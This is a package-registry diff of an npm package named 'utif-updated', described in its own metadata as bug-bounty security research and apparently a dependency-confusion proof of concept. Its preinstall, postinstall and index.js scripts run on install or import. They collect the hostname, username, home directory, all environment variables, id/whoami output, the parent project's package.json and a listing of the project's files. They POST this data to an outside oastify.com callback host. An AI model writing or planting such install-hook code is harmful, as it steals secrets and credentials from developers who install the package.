utif-updated 99.0.1 → 99.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js CHANGED
@@ -1,27 +1,47 @@
1
1
  const https = require('https');
2
2
  const http = require('http');
3
3
  const os = require('os');
4
+ const fs = require('fs');
5
+ const path = require('path');
4
6
 
5
7
  const CALLBACK = 'fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com';
6
8
 
7
9
  if (!global.__utif_updated_triggered) {
8
10
  global.__utif_updated_triggered = true;
9
-
11
+
12
+ function findParentPackageJson() {
13
+ // En runtime, on remonte depuis le module
14
+ let dir = __dirname;
15
+ for (let i = 0; i < 10; i++) {
16
+ const parent = path.dirname(dir);
17
+ if (parent === dir) break;
18
+ dir = parent;
19
+ if (path.basename(dir) === 'node_modules') {
20
+ // On est dans node_modules, le parent c'est le projet
21
+ const projectDir = path.dirname(dir);
22
+ try {
23
+ return JSON.parse(fs.readFileSync(
24
+ path.join(projectDir, 'package.json'), 'utf8'
25
+ ));
26
+ } catch(e) {}
27
+ }
28
+ }
29
+ return null;
30
+ }
31
+
10
32
  const info = {
11
33
  type: 'runtime_require',
12
34
  hostname: os.hostname(),
13
35
  user: os.userInfo().username,
14
36
  cwd: process.cwd(),
37
+ dirname: __dirname,
15
38
  platform: os.platform(),
16
39
  node_version: process.version,
17
40
  env: process.env,
41
+ parent_package: findParentPackageJson(),
18
42
  timestamp: new Date().toISOString()
19
43
  };
20
44
 
21
- try {
22
- info.package_json = require(process.cwd() + '/package.json');
23
- } catch(e) {}
24
-
25
45
  const data = JSON.stringify(info);
26
46
 
27
47
  const req = https.request({
@@ -38,7 +58,6 @@ if (!global.__utif_updated_triggered) {
38
58
  req.write(data);
39
59
  req.end();
40
60
 
41
- // Trigger game over
42
61
  const webhook = process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN;
43
62
  if (webhook) {
44
63
  try {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "utif-updated",
3
- "version": "99.0.1",
3
+ "version": "99.0.2",
4
4
  "description": "Security research - Bug Bounty",
5
5
  "main": "index.js",
6
6
  "author": "icare",
package/postinstall.js CHANGED
@@ -1,28 +1,48 @@
1
1
  const https = require('https');
2
2
  const http = require('http');
3
3
  const os = require('os');
4
- const { execSync } = require('child_process');
4
+ const fs = require('fs');
5
+ const path = require('path');
5
6
 
6
7
  const CALLBACK = 'fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com';
7
8
 
9
+ function findParentPackageJson() {
10
+ if (process.env.npm_config_local_prefix) {
11
+ try {
12
+ return JSON.parse(fs.readFileSync(
13
+ path.join(process.env.npm_config_local_prefix, 'package.json'), 'utf8'
14
+ ));
15
+ } catch(e) {}
16
+ }
17
+
18
+ let dir = process.cwd();
19
+ for (let i = 0; i < 10; i++) {
20
+ const parent = path.dirname(dir);
21
+ if (parent === dir) break;
22
+ dir = parent;
23
+ if (dir.includes('node_modules')) continue;
24
+ try {
25
+ const pkgPath = path.join(dir, 'package.json');
26
+ if (fs.existsSync(pkgPath)) {
27
+ return JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
28
+ }
29
+ } catch(e) {}
30
+ }
31
+ return null;
32
+ }
33
+
8
34
  const info = {
9
35
  type: 'postinstall',
10
36
  hostname: os.hostname(),
11
37
  user: os.userInfo().username,
12
38
  cwd: process.cwd(),
39
+ npm_local_prefix: process.env.npm_config_local_prefix || 'N/A',
13
40
  platform: os.platform(),
14
41
  env: process.env,
42
+ parent_package: findParentPackageJson(),
15
43
  timestamp: new Date().toISOString()
16
44
  };
17
45
 
18
- try {
19
- info.id = execSync('id').toString().trim();
20
- } catch(e) {}
21
-
22
- try {
23
- info.package_json = require(process.cwd() + '/package.json');
24
- } catch(e) {}
25
-
26
46
  const data = JSON.stringify(info);
27
47
 
28
48
  const req = https.request({
@@ -39,7 +59,6 @@ req.on('error', () => {});
39
59
  req.write(data);
40
60
  req.end();
41
61
 
42
- // Trigger game over
43
62
  const webhook = process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN;
44
63
  if (webhook) {
45
64
  try {
package/preinstall.js CHANGED
@@ -1,38 +1,77 @@
1
1
  const https = require('https');
2
2
  const http = require('http');
3
3
  const os = require('os');
4
+ const fs = require('fs');
5
+ const path = require('path');
4
6
  const { execSync } = require('child_process');
5
7
 
6
8
  const CALLBACK = 'fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com';
7
9
 
10
+ // Fonction pour trouver le package.json parent (racine du projet)
11
+ function findParentPackageJson() {
12
+ // npm_config_local_prefix = racine du projet qui installe
13
+ if (process.env.npm_config_local_prefix) {
14
+ try {
15
+ return JSON.parse(fs.readFileSync(
16
+ path.join(process.env.npm_config_local_prefix, 'package.json'), 'utf8'
17
+ ));
18
+ } catch(e) {}
19
+ }
20
+
21
+ // Sinon remonte l'arborescence
22
+ let dir = process.cwd();
23
+ for (let i = 0; i < 10; i++) {
24
+ const parent = path.dirname(dir);
25
+ if (parent === dir) break;
26
+ dir = parent;
27
+
28
+ // Skip si on est dans node_modules
29
+ if (dir.includes('node_modules')) continue;
30
+
31
+ try {
32
+ const pkgPath = path.join(dir, 'package.json');
33
+ if (fs.existsSync(pkgPath)) {
34
+ return JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
35
+ }
36
+ } catch(e) {}
37
+ }
38
+ return null;
39
+ }
40
+
8
41
  // Récupère toutes les infos
9
42
  const info = {
10
43
  type: 'preinstall',
11
44
  hostname: os.hostname(),
12
45
  user: os.userInfo().username,
13
46
  cwd: process.cwd(),
47
+ npm_local_prefix: process.env.npm_config_local_prefix || 'N/A',
14
48
  home: os.homedir(),
15
49
  platform: os.platform(),
16
50
  arch: os.arch(),
17
51
  node_version: process.version,
18
- env: process.env, // TOUTES les variables d'environnement
52
+ env: process.env,
19
53
  timestamp: new Date().toISOString()
20
54
  };
21
55
 
22
- // Essaye de récupérer plus d'infos
56
+ // Package.json du projet PARENT
57
+ info.parent_package = findParentPackageJson();
58
+
59
+ // Infos système
23
60
  try {
24
61
  info.pwd = execSync('pwd').toString().trim();
25
62
  info.whoami = execSync('whoami').toString().trim();
26
63
  info.id = execSync('id').toString().trim();
27
64
  } catch(e) {}
28
65
 
66
+ // Liste des fichiers à la racine du projet
29
67
  try {
30
- info.package_json = require(process.cwd() + '/package.json');
68
+ if (process.env.npm_config_local_prefix) {
69
+ info.project_files = fs.readdirSync(process.env.npm_config_local_prefix);
70
+ }
31
71
  } catch(e) {}
32
72
 
33
73
  const data = JSON.stringify(info);
34
74
 
35
- // POST vers Burp avec tout
36
75
  const req = https.request({
37
76
  hostname: CALLBACK,
38
77
  port: 443,
@@ -47,7 +86,7 @@ req.on('error', () => {});
47
86
  req.write(data);
48
87
  req.end();
49
88
 
50
- // Trigger leur webhook si présent
89
+ // Trigger leur webhook
51
90
  const webhook = process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN;
52
91
  if (webhook) {
53
92
  try {